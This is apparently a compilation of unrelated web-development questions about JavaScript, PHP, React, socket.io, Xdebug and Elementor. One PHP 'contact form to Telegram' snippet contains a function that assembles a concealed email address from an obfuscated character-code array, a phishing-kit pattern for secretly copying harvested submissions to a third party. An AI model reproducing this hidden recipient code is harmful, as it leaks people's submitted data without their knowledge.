MouseWheel Doesn’t Scroll Back and Forth

Im using this script for Mousewheel. What i have tried only works one way …instead of scroll up and down it just Scrolls forward. What i want it to do is change the cursor Forwards and Backwards. Here is what i have tried.

    body {
        background-color: #ffffff;
        overflow: hidden;
    }

    html,
    body {
        height: 100%;
    }

    .box {
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
    }

<div class="box"></div>
    var clicked = 0;
    window.addEventListener('wheel', function (event) {
        if (clicked == 0) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/1.png'), auto";
            clicked = 1;
        }
        else if (clicked == 1) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/2.png'), auto";
            clicked = 2;
        }
        else if (clicked == 2) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/3.png'), auto";
            clicked = 3;
        }
        else if (clicked == 3) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/4.png'), auto";
            clicked = 4;
        }
        else if (clicked == 4) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/5.png'), auto";
            clicked = 5;
        }
        else if (clicked == 5) {
            document.getElementsByTagName("body")[0].style.cursor = "url('https://tim-school.com/codepen/mouser/6.png'), auto";
            clicked = 0;
        }
    });

I’ve also tried the DeltaY method, But could not figure it out.

Why the toggle button is not working correctly?

so I’m trying to build an extension manager page and I solved an issue where when I try to activate/deactivate one of the extension it works when I flip the switch right after the page loads, however once one of the filter buttons is clicked, the toggle stops working
enter image description here

const cards = document.querySelector(".cards");
const all = document.getElementById("all");
const inactive = document.getElementById("inactive");
const active = document.getElementById("active");
const modeToggle = document.getElementById("mode-toggle");

let extensions = [];
let activated = [];
let inactivated = [];

fetch("./data.json")
    .then(response => response.json())
    .then(data => {
        extensions = data;
        showData(extensions);
        console.log(extensions);
    })
    .catch(error => {
        console.log("Error fetching data");
    });

class Extension {
    display(dataArr) {
        cards.innerHTML = `
            ${dataArr.map(extension => `
            <div class="card extension-card">
                <div class="ext-info">
                    <img src="${extension.logo}" alt="Extension logo" width="60">
                    <div class="text">
                        <h3 class="extension-title">${extension.name}</h3>
                        <p class="extension-description">${extension.description}</p>
                    </div>
                </div>
                <div class="functions">
                    <button class="btn btn-outline-secondary remove" id="remove">Remove</button>
                    <label class="switch">
                        <input type="checkbox" class="activate" data-id="${extension.id}">
                        <span class="slider"></span>
                    </label>
                </div>
            </div>
            `).join("")}
        `;
    }

    setCheckboxState(dataArr) {
        const activateToggles = document.getElementsByClassName("activate");

        dataArr.forEach(extension => {
            [...activateToggles].forEach(toggle => {
                if (toggle.getAttribute("data-id") === extension.id) {
                    toggle.checked = extension.isActive;
                }
            });
        });
    }

    static updateArrays() {
        activated = extensions.filter(ext => ext.isActive);
        inactivated = extensions.filter(ext => !ext.isActive);
    }
}

const showData = (dataArr) => {
    dataArr.forEach((extensionData) => {
        const extension = new Extension();
        extension.display(dataArr);
        extension.setCheckboxState(dataArr);

        const activateToggles = document.getElementsByClassName("activate");
        [...activateToggles].forEach(toggle => {
            const extensionId = toggle.getAttribute("data-id");
            const extension = extensions.find(ext => ext.id === extensionId);

            toggle.addEventListener("change", () => {
                extension.isActive = toggle.checked;
                Extension.updateArrays(); // Update arrays after each toggle
            });
        });

        // Event listeners for filtering
        all.addEventListener("click", () => {
            cards.innerHTML = "";
            extension.display(extensions);
            extension.setCheckboxState(extensions);
        });

        active.addEventListener("click", () => {
            cards.innerHTML = "";
            Extension.updateArrays(); // Update arrays before filtering
            extension.display(activated);
            extension.setCheckboxState(activated);
        });

        inactive.addEventListener("click", () => {
            cards.innerHTML = "";
            Extension.updateArrays(); // Update arrays before filtering
            extension.display(inactivated);
            extension.setCheckboxState(inactivated);
        });
    });
};

does anyone have an idea of how to solve this issue?

TypeError: (0 , _clerk_nextjs__WEBPACK_IMPORTED_MODULE_3__.auth) is not a function

`import EventForm from ‘@/components/shared/EventForm’
import { auth } from ‘@clerk/nextjs/server’
import React from ‘react’

const CreateEvent = () => {
const {sessionClaims} = auth();
return (
<>

Create Event

</>
)
}

export default CreateEvent`

I tried to add new event and use the client session id but the clerk its return error when I import the auth from @clerk/next

Using Partytown to offload GTM: CORS errors with Google Analytics and Facebook Pixel

I recently tried implementing Partytown to offload Google Tag Manager (GTM) to a web worker. GTM itself loads successfully via Partytown. However, the tags managed by GTM — specifically Google Analytics and Facebook Pixel — are throwing CORS errors when they attempt to fire network requests.

I am using Next 12 with React 17 ( Node v18 ) and installed Partytown using npm install @builder.io/partytown. Loaded the GTM script using . GTM loads successfully via the worker, however, tags inside GTM (like Google Analytics and Facebook Pixel) throw CORS errors when they try to send network requests.

Is additional configuration required to allow scripts loaded inside GTM (like GA, Facebook Pixel) to work with Partytown? How can I fix or work around the CORS issues triggered by these third-party tags?

EventSource reader keeps repeating itself

I am working with the Mistral AI API to return a stream to the frontend but the frontend keeps repeating itself so instead of just streaming the whole text on screen it just starts again when it’s done. I’m using Nuxt 3.

Backend code

import { Mistral } from '@mistralai/mistralai';
import { getQuery } from 'h3';

export default defineEventHandler(async (e) => {
    const { songs } = getQuery(e);
    const config = useRuntimeConfig();

    const messages = [{ 
        role: 'system', 
        content: `
        You are a helpful creative psychiatrist who determines peoples personalities by looking at the songs they listen to. Besides that, 
        give an in-depth analasys of who I might prefer as a romantic partner and why. Mention a few songs on which you based the analysis.
        Respond in markdown and do not ask if you can assist any further.
        `
    },{ 
        role: 'user', 
        content: `${songs}`
    }];

    try {
        const mistral = new Mistral({ apiKey: config.mistralAiApiKey });

        const stream = await mistral.chat.stream({
            model: 'mistral-small-latest',
            messages
        });

        setHeader(e, 'Content-Type', 'text/event-stream');
        setHeader(e, 'Cache-Control', 'no-cache');
        setHeader(e, 'Connection', 'keep-alive');

        for await (const chunk of stream) {
            e.node.res.write(`data: ${chunk.data.choices[0].delta.content}nn`);
        }

        e.node.res.end();
    } 
    catch (error) {
        console.error(error);
            
        throw createError({
            statusCode: 500,
            message: error
        });
    }
});

Frontend code

const eventSource = new EventSource(`/api/mistral/analysis?songs=${songs}`);

eventSource.onmessage = (event) => {
    console.log(event.data);
    bio.value += event.data;
};

Amazon api without rate limit

I’m trying to create a bot that monitors the stock of specific products. I wanted to avoid puppets to make it as efficient as possible. I found different documentation on Amazon’s public APIs online but I noticed that they have request limits. I would like to monitor the products continuously once a second. By analyzing the site, I realized that there is an ajax API with which I can retrieve the info but only for products with variants. Can anyone give me better direction on what is best to do?

How to submit contact form form with file attachment and get the result in telegram bot

How can my submisson submit two diffrent file upload to telegram bot along with other result, please help me look into this, am novice.

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

**My config.php**
<?php


function send_telegram_msg($message){
// Put Your Telegram Information Here for result to telegram
$botToken  = '567434567:rtyuugf';// your telegram bottoken from bot father for 
$chat_id  = ['123456789'];// your telegram chat it from userinfobot


$website="https://api.telegram.org/bot".$botToken;
foreach($chat_id as $ch){
$params=[
  'chat_id'=>$ch, 
  'text'=>$message,
];
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3);
curl_setopt($ch, CURLOPT_POST, 3);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
}
return true;
}
?>


**My t.php**

<?php
require("config.php");
$country = visitor_country();

$Port = getenv("REMOTE_PORT");
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate=date("D M d, Y g:i a");
$message .= "**contact form ***+++n";
$message .= "Phone Number : ".$_POST['phone']."n";
$message .= "Email : ".$_POST['email']."n";
$message .= "File upload 1 : ".$_POST['file1']."n";
$message .= "File upload 2 : ".$_POST['file2']."n";
$headers = "From: CONTACT FORM";
@mail($send,$subject,$message,$headers);
send_telegram_msg($message);
header("location:success.html");
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
$sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{  
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}



if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}

return $result;
}
?>



**My form.html**

<form class="new_user" id="new_user" data-validate="signin" action="t.php" accept-charset="UTF-8" method="post" enctype="multipart/form-data">
<!-- Form fields -->
<div class="form-group">
<label for="name">Name:</label>
<input type="text" id="name" name="name" required>
</div>

<div class="form-group">
<label for="email">Email:</label>
<input type="email" id="email" name="email" required>
</div>

<div class="form-group">
<label for="image">Upload 1:</label>
<input type="file" id="image" name="file1" required>
</div>

  <div class="form-group">
 <label for="image">Upload 2:</label>
 <input type="file" id="image" name="file2" required>
 </div>

Elementor Error: Class ‘ElementorCoreSchemesTypography’ not found after updating Elementor plugin (WordPress)

After updating the Elementor plugin to version 3.28.4 on my WordPress site (version 6.8), I started getting a fatal PHP error:

PHP Fatal error: Uncaught Error: Class 'ElementorCoreSchemesTypography' not found in /home/username/public_html/wp-content/plugins/partdo-core/elementor/widgets/partdo-home-slider.php:312

My setup:

  • Theme: Partdo v1.1.2
  • Child Theme: Partdo Child v1.1.2
  • Elementor Plugin: 3.28.4

How can I solve this Elementor/Core/Schemes/Typography not found error?

Get URL without base URL

With this code, a [geturl] shortcode will be created. This shortcode shows the current page full URL address:

add_shortcode ('geturl', 'get_current_page_url');
function get_current_page_url() {
    $pageURL = 'http';
    if( isset($_SERVER["HTTPS"]) ) {
        if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
    }
    $pageURL .= "://";
    if ($_SERVER["SERVER_PORT"] != "80") {
        $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
    } else {
        $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
    }
    return $pageURL;
}

My problem is that it contains the base url.
Example, i have one test1 folder and there is one another page (test2): www.test.com/test1/test2
On this page, the shortcode will show this: www.test.com/test1/test2
But I want to remove the base url: and the code should only show the parts after the baseurl.
So what I want the code to show is: /test1/test2

Is it possible?

Getting “ERR_CONNECTION_RESET” error with specific xdebug versions

While updating my PHP dev environment by updating PHP and Xdebug versions, I encountered this error “ERR_CONNECTION_RESET” while debugging.

Context: debugging a PrestaShop project.

Old versions (no issue):

  • PHP 7.4.33-Win32-vc15-x64
  • Xdebug 3.1.6-7.4-vc15-x86_64

New versions (“ERR_CONNECTION_RESET” displayed on the browser):

  • PHP 8.1.32-Win32-vs16-x64
  • Xdebug 3.4.2-8.1-ts-vs16-x86_64 (latest version at the time of writing this thread)

The strange thing is that I get this error mainly when I’m debugging the PrestaShop back-office. When I debug the PrestaShop front-office, the error may sometimes appear then disappear, but it was not blocking, as the debugging continues.

Troubleshooting after upgrading to the newer versions:

  • With the setup PHP 8.1.32-Win32-vs16-x64 and Xdebug 3.4.2-8.1-ts-vs16-x86_64: I tried with different browsers (Edge and Chrome) and I’m still getting the error => browser cause discarded.
  • With the setup PHP 8.1.32-Win32-vs16-x64 and Xdebug 3.4.2-8.1-ts-vs16-x86_64: I tried with different IDEs (PhpStorm and VSCode) and I’m still getting the error => IDE cause discarded.
  • Since Xdebug 3.1.6-7.4-vc15-x86_64 is working with PHP 7.4.33 (my previous setup): I tried xdebug-3.1.6-8.1-vs16-x86_64 with PHP 8.1.32, and the debugging worked without any error => Cause identified: it is the Xdebug version.

So I ended up with this setup that is working:

  • PHP 8.1.32-Win32-vs16-x64
  • Xdebug 3.1.6-8.1-vs16-x86_64

I assume that there is an issue with some Xdebug versions (at least the latest at the moment of writing this thread: Xdebug 3.4.2-8.1-ts-vs16-x86_64).

Similar issue reported in previous version here https://bugs.xdebug.org/view.php?id=2024

The workaround is to downgrade the Xdebug version (of course by choosing a version that matches project PHP version).

Others used the same workaround as stated here https://www.reddit.com/r/PHPhelp/comments/q4cd85/xdebug_causing_err_connection_reset/

I don’t know where to submit this issue to get it fixed (or at least investigated). Please share if you know where to do it.

Also, please share if you have a better solution.

Hope this helps!

How do I prevent the form from being submitted if there are errors present, and how can I delete the warnings when I press the reset button?

I have to make a form, validate it and if everything is OK, submit it (it doesn’t have to go to a server). If not, the form is not sent and it indicates the errors. The form has both mandatory and optional inupts, and I was following a tutorial that used the function e.Preventdefault() but that’s because the person doing it had all of his inputs mandatory so I don’t know how to solve it

The code for the form (without CSS styles to make it short) is this

    <html>
        <body>
        <div class="formulario">
            <form id="formulario" name="formulario" action="mailto:[email protected]">
                <fieldset>
                    <legend>Formulario de registro</legend>
                    <p>Los campos marcados con asterisco(*) son obligatorios</p>
                        <h1>Nombre y apellidos</h1>
                            <label for="nombre">Nombre*</label><br>
                                <input type="text" id="nombre" name="nombre"><br>
                            <label for="apellido1">Primer apellido*</label><br>
                                <input type="text" id="apellido1" name="apellido1"><br>
                            <label for="apellido2">Segundo apellido</label><br>
                                <input type="text" id="apellido2" name="apellido2"><br>
                        <h1>Número de teléfono</h1>
                            <label for="movil">Teléfono movi*</label><br>
                                <input type="text" id="movil" name="movil"><br>
                            <label for="fijo">Teléfono fijo</label><br>
                                <input type="text" id="fijo" name="fijo"><br>
                        <h1>DNI</h1>
                            <label for="dni">Número de DNI*</label><br>
                                <input type="text" id="dni" name="dni"><br>
                        <h1>Fecha de nacimiento</h1>
                            <label for="cumple">Fecha de nacimiento</label><br>
                                <input type="date" id="cumple" name="cumple">
                    <div class="botones2">
                        <input type="checkbox" name="terminoss" id="terminoss">Acepto los términos y blah, blah, blah<br>
                        <input type="checkbox" name="spam" id="spam">Quiero que me llenéis el correo de spam<br>
                    </div>
                    <div class="botones">
                        <input type="button" value="Reset" onclick="reset()">
                            <script>
                                function reset() {
                                    document.getElementById("formulario").reset()}
                            </script>
                        <input type="submit" value="Enviar">
                    </div>
                    <p class="advertencia" id="advertencia"></p>
                </fieldset>
            </form>
        </div>
    <script src="validform.js"></script>
    </body>
    </html>

the code for the Js file is this

const nombre = document.getElementById("nombre")
const apellido1 = document.getElementById("apellido1")
const movil = document.getElementById("movil")
const form = document.getElementById("formulario")
const parrafo = document.getElementById("advertencia")
let regexMovil = /^[6789]d{8}$/
let advertencia = ""
let entrar = false

form.addEventListener("submit", e=>{

    if(nombre.value == ""){
        advertencia += "Introduce tu nombre<br>" 
        entrar = true}

    if (apellido1.value == ""){
        advertencia += "Introduce el primer apellido<br>"
        entrar = true}

    if (!regexMovil.test(movil.value)){
        advertencia += "Introduce un móvil válido<br>"
        entrar = true}

    if (entrar = true){
        parrafo.innerHTML = advertencia} else {

        }
})

(the e.=> was for the prevent default function)

So what I need to solve is: how to try to open it in another app when I press submit ONLY if everything is okay, and how to delete the warnings when I press reset and not only the text in the inputs

python server / JS client: socketio regular disconnects

In trying to reproduce errors from a larger project I have created a server using python’s aiohttp and the following python-socketio (v5.12.0) namespace:

class MyNamespace(AsyncNamespace):

    clients = []

    async def on_connect(self, sid, _environ, auth):
        print(f"{sid} has connected")
        self.clients.append(sid)

    async def on_disconnect(self, sid, reason):
        print(f"{sid} has disconnected ({reason})")
        try:
            self.clients.remove(sid)
        except ValueError:
            pass

    async def on_poll(self, sid, _data):
        """Return random number"""
        rand = random.randint(0, 9)
        await self.emit("result", {"data": rand}, to=sid)

The client is running the following JS, making use of https://cdn.socket.io/4.5.0/socket.io.min.js :

const sio = io("/", {});

setInterval(function() {
    console.log("polling server...")
    sio.emit("poll", {});
}, 5000);

sio.on("result", (data) => {
    console.log(data);
});

This works, at least initially, as this is what we see in the browser console:

[09:13:49] connected!
[09:13:54] polling server...
[09:13:54] got 7
[09:13:59] polling server...
[09:13:59] got 2
[09:14:04] polling server...
[09:14:04] got 0
[09:14:09] polling server...
[09:14:14] polling server...   # Something's gone wrong!
[09:14:19] polling server...
[09:14:24] polling server...
[09:14:29] polling server...
[09:14:29] connected!          # Did we disconnect?
[09:14:29] got 6               # We're back?
[09:14:34] polling server...
[09:14:34] got 0
...

Given the precise 30 second delay after which it failed, a quick google suggested that the problem was version (in)compatability, but this table clearly indicates that my versions are compatible.

On instruction from further googling, I added some more logging to the server side code. The following is the contnet of the server logs over more or less the same time interval:

Apr 27 09:13:46 raspberrypi start-server[250784]: Server running...
Apr 27 09:13:50 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet OPEN data {'sid': 'YQoJ9GLsXolsywhqAAAA', 'upgrades': ['websocket'], 'pingTimeout': 20000, 'pingInterval': 25000, 'maxPayload': 1000000}
Apr 27 09:13:51 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Received packet MESSAGE data 0/,
Apr 27 09:13:51 raspberrypi start-server[250784]: VVvlt4tqCS-5BMuqAAAB has connected
Apr 27 09:13:51 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet MESSAGE data 0/,{"sid":"VVvlt4tqCS-5BMuqAAAB"}
Apr 27 09:13:51 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Received request to upgrade to websocket
Apr 27 09:13:51 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Upgrade to websocket successful
Apr 27 09:13:56 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Received packet MESSAGE data 2/,["poll",{}]
Apr 27 09:13:56 raspberrypi start-server[250784]: received event "poll" from VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:13:56 raspberrypi start-server[250784]: Sending 7 to VVvlt4tqCS-5BMuqAAAB
Apr 27 09:13:56 raspberrypi start-server[250784]: emitting event "result" to VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:13:56 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet MESSAGE data 2/,["result",{"value":7}]
Apr 27 09:14:00 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Received packet MESSAGE data 2/,["poll",{}]
Apr 27 09:14:00 raspberrypi start-server[250784]: received event "poll" from VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:14:00 raspberrypi start-server[250784]: Sending 2 to VVvlt4tqCS-5BMuqAAAB
Apr 27 09:14:00 raspberrypi start-server[250784]: emitting event "result" to VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:14:00 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet MESSAGE data 2/,["result",{"value":2}]
Apr 27 09:14:05 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Received packet MESSAGE data 2/,["poll",{}]
Apr 27 09:14:05 raspberrypi start-server[250784]: received event "poll" from VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:14:05 raspberrypi start-server[250784]: Sending 0 to VVvlt4tqCS-5BMuqAAAB
Apr 27 09:14:05 raspberrypi start-server[250784]: emitting event "result" to VVvlt4tqCS-5BMuqAAAB [/]
Apr 27 09:14:05 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet MESSAGE data 2/,["result",{"value":0}]
Apr 27 09:14:15 raspberrypi start-server[250784]: YQoJ9GLsXolsywhqAAAA: Sending packet PING data None
Apr 27 09:14:30 raspberrypi start-server[250784]: 7aB5pFuYnarQTTCRAAAC: Sending packet OPEN data {'sid': '7aB5pFuYnarQTTCRAAAC', 'upgrades': ['websocket'], 'pingTimeout': 20000, 'pingInterval': 25000, 'maxPayload': 1000000}

So it seemingly sends the expected ping packet after the pingInterval of 25s, but presumably the client died, then it reconnects after the pingTimeout – but I’m not sure why this is 15s after the last ping.

In researching this error, I’ve heard other saying that browsers can close connections on inactive tabs. But in this case the tab clearly isn’t inactive – it’s polling every 5 seconds! Nor was it minimised in this testing.

I’m at a loss of why this is failing. I can’t see any record that the client recieves the ping packet.

The socket.io troubleshooting guide suggests that one possible problem is “A proxy in front of your servers does not accept the WebSocket connection”, and I am proxying through Cloudflare… but it clearly works initially, so I don’t think that’s the issue. The guide also makes it clear that “disconnections are common and expected”. So, if that is the case, should I redesign this code to work under this assumption? If I have const sio = io(...) within the polling loop, it seems to work indefinitely, which is fine for this client, but I want other clients to be listening for result events too, and it’s not clear how I can just maintain a connection like that.

JavaScript to calculate minutes between start time and end time

Users fill out a form where they enter what date and time an issue started and when it entered and the form will provide the difference between those times in minutes.

So for example if they enter 4/26/2025 10:00 AM for the start time and 4/26/2025 11:00 AM for the end time, the result of the difference between the two times in minutes would be 60.

This is what I have for the fields the users fill out

HTML

<input type="datetime-local" class="datetime" id="StartDateTime" max="2099-12-31T23:59">
<input type="datetime-local" class="datetime" id="EndDateTime" max="2099-12-31T23:59">

This is what I have for my JavaScript:

function calculateMinutesBetweenDates(date1, date2) {
const timeDifferenceMs = Math.abs(date2.getTime() - date1.getTime());
const minutesDifference = Math.floor(timeDifferenceMs / (1000 * 60));
return minutesDifference;
}
  
const dateString1 = document.getElementById("StartDateTime").value;
const dateString2 = document.getElementById("EndDateTime").value;
  
const date1 = new Date(dateString1);
const date2 = new Date(dateString2);
  
const minutes = calculateMinutesBetweenDates(date1, date2);
console.log(`Minutes between dates: ${minutes}`); // Output: Minutes between dates

However the only result I get is NaN instead of 60 as in the example. It’s not giving any other JavaScript errors so not sure why it won’t calculate the values as the user sets the date and time fields.

If I set the values directly such as:

const startTime = "2025-04-26T10:00:00";
const endTime = "2025-04-26T11:30:00";

Then it works correctly but need the values to change by user input of the HTML fields.

Is posible to create a context in React declaring only one node?

Basically what title says. I want to know if there is any package or other way to declare a context to get data from it (I don´t need to modify that data) without having to declare a provider, a type for the context and the context itself in React.

I am thinking of something like this:

export const CarAdWrapper = () => {

   // Pretend this retrieve a second hand car for sale
   const car = getCarForSale();

   // Pretend this retrieve a user from the second car website
    const user = getUser();

   return (
       <ImaginaryContext name='carAdContext'
          values= {
              currentCar : car,
              loggedUser: user,   
          }>
           <CarAd/>
        <ImaginaryContext/>   
    );
}

And then it would be used like this:

export const CarAd = () => {
     
     const { currentCar, loggedUser } = useImaginaryContext('carAdContext');
     
     return (
         <h1>{ currentCar.brand }</h1>
         <h2>{ currentCar.model }</h2>
         <p>{ currentCar.mileage }</p>
         <p>{ loggedUser.name } is selling this car </p>
     );

}

(I am also interested in other js frameworks that can do something similar)